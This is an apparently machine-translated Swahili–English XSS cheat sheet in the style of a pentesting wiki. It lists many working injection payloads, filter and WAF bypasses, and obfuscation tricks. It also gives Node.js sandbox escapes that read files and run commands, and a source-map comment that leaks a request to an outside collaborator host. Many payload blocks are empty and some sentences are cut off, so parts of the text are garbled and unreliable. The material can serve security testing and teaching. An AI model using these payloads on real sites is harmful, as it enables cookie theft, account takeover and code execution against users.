# XSS (Cross Site Scripting)
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_). {% embed url="https://www.stmcyber.com/careers" %} ## Methodology 1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code. 2. **Pata muktadha** ambapo inarudi/inatumika. 3. Ikiwa **inarudi** 1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload: 1. Katika **HTML safi**: 1. Je, unaweza kuunda vitambulisho vipya vya HTML? 2. Je, unaweza kutumia matukio au sifa zinazounga mkono `javascript:` itifaki? 3. Je, unaweza kupita kinga? 4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)? 2. Ndani ya **HTML tag**: 1. Je, unaweza kutoka kwenye muktadha wa HTML safi? 2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code? 3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS? 4. Je, unaweza kupita kinga? 3. Ndani ya **JavaScript code**: 1. Je, unaweza kukwepa ``** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa ikitumia **`javascript:`** itifaki: * Ikiwa linajitokeza kati ya **``** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `` iko ndani ya msimbo wa HTML. * Ikiwa linajitokeza **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Ikiwa linajitokeza ndani ya maandiko ya kiolezo unaweza **kuingiza maelekezo ya JS** ukitumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\ **Angalia ukurasa ufuatao kwa maelezo zaidi:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Function Kurasa kadhaa za wavuti zina mwisho ambao **zinakubali kama parameter jina la kazi ya kutekeleza**. Mfano wa kawaida wa kuona katika mazingira halisi ni kitu kama: `?callback=callbackFunc`. Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya param** (kwa mfano kuwa 'Vulnerable') na kutazama kwenye console kwa makosa kama: ![](<../../.gitbook/assets/image (711).png>) Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, nukta na viwango vya chini (**`[\w\._]`**). Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**: ![](<../../.gitbook/assets/image (747).png>) Baadhi ya kazi muhimu kwa hili: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **kurasa nyingine katika asili hiyo hiyo** will have a **DOM yenye kuvutia zaidi** to perform more actions. Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** These kind of XSS can be found **popote**. They not depend just on the client exploitation of a web application but on **muktadha** **wowote**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **kusoma** **faili** **za kawaida** in clients and servers, and more.\ Some **mfano**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Injecting inside raw HTML When your input is reflected **ndani ya ukurasa wa HTML** or you can escape and inject HTML code in this context the **kitu** cha kwanza you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: ```html ``` Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\ Mara tu umepata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha. ### Tags/Events kujaribu nguvu Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali). ### Tags za kawaida Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS na attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **kutekeleza** msimbo: ``` /?search=#x ``` ### Blacklist Bypasses Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Kumbuka kwamba ikiwa unajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**. **Kutumia Hex na Octal encode na `javascript:`** Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (angalau) kutangaza **HTML tags za kutekeleza JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS katika "Vitambulisho visivyoweza kutumika" (kazi ya siri, kiungo, kanuni, meta) Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia kazi za siri kwa:** ```html
Newsletter popup
``` From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumsihi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector: ```markup ``` **Payload ya XSS itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`** ### Kupita Orodha ya Blacklist Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:** * **Uandishi wa HTML (vitambulisho vya HTML)** * **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)` * **Uandishi wa URL** * **Uandishi wa Hex na Octal** * **Uandishi wa data** **Kupita kwa vitambulisho na sifa za HTML** Soma [Kupita Orodha ya Blacklist ya sehemu ya awali](./#blacklist-bypasses). **Kupita kwa msimbo wa JavaScript** Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika. Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano > .test {display:block; color: blue; width: 100%\} na > \#someid {top: 0; font-family: Tahoma;} Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo > \ Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Kuingiza ndani ya msimbo wa JavaScript Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`. ### Kutoroka \` unaweza kwa urahisi **kutoroka kufunga ` ``` Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward. ### Inside JS code If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelezo ya JS** kwa kutumia sintaksia `${ ... }`.\ Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**: Hii inaweza **kutumiwa vibaya** kwa kutumia: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Utekelezaji wa msimbo uliokodishwa ```markup ``` **Javascript ndani ya maoni** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript bila mabano** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Kuita kazi isiyo na mipaka (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vikosi vya DOM** Kuna **kodiyake ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\ **Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering). ### Kuboresha Self-XSS ### Cookie XSS Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) {% endcontent-ref %} Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Kutuma kikao chako kwa msimamizi Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea udhaifu huo. ### Kurefusha Kikao Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake. Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake. ## Njia Nyingine za Kupita ### Unicode Iliyosawazishwa Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\ Mfano wa fomu ([kutoka ripoti hii](https://hackerone.com/reports/709336)), ikiwa utatuma payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Jumla "Key","Value" itarudi kama ifuatavyo: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Kisha, sifa ya onfocus itaingizwa na XSS inatokea. ### Mchanganyiko maalum ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS na uingizaji kichwa katika jibu la 302 Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, hivyo tu mzigo wa cross-site scripting hauwezi kutumika. Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza mzigo wa XSS ndani ya mwili.\ Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`. ### Herufi, Nambari na Nukta Pekee Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inayo tekeleza** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii. ### Aina za Maudhui Halali za ` ``` The answer is: * **module** (default, hakuna cha kuelezea) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Inaruhusu kuboresha sintaksia ya kuagiza ```html ``` Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi: ```html ``` ### Web Content-Types to XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina zifuatazo za maudhui zinaweza kutekeleza XSS katika vivinjari vyote: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF) * application/rss+xml (off) * application/atom+xml (off) Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria namespace na kutekeleza JS isiyo na mipaka: ```xml hello ``` ### Mifumo Maalum ya Kubadilisha Wakati kitu kama **`"some {{template}} data".replace("{{template}}", )`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kupita baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela. ### Kumbukumbu ya Chrome hadi XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### Kutoroka kwa XS Jails Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika: * Kutumia import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Kupata `require` kwa njia isiyo ya moja kwa moja [Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zimefungwa na Node.js ndani ya kazi, kama hii: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Kwa hivyo, ikiwa kutoka kwenye moduli hiyo tunaweza **kuita kazi nyingine**, inawezekana kutumia `arguments.callee.caller.arguments[1]` kutoka kwa kazi hiyo kufikia **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** ya moduli na kupata **`require`** kazi: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass * **Obfuscations tofauti katika ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * JSFuck yenye ujuzi zaidi: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; 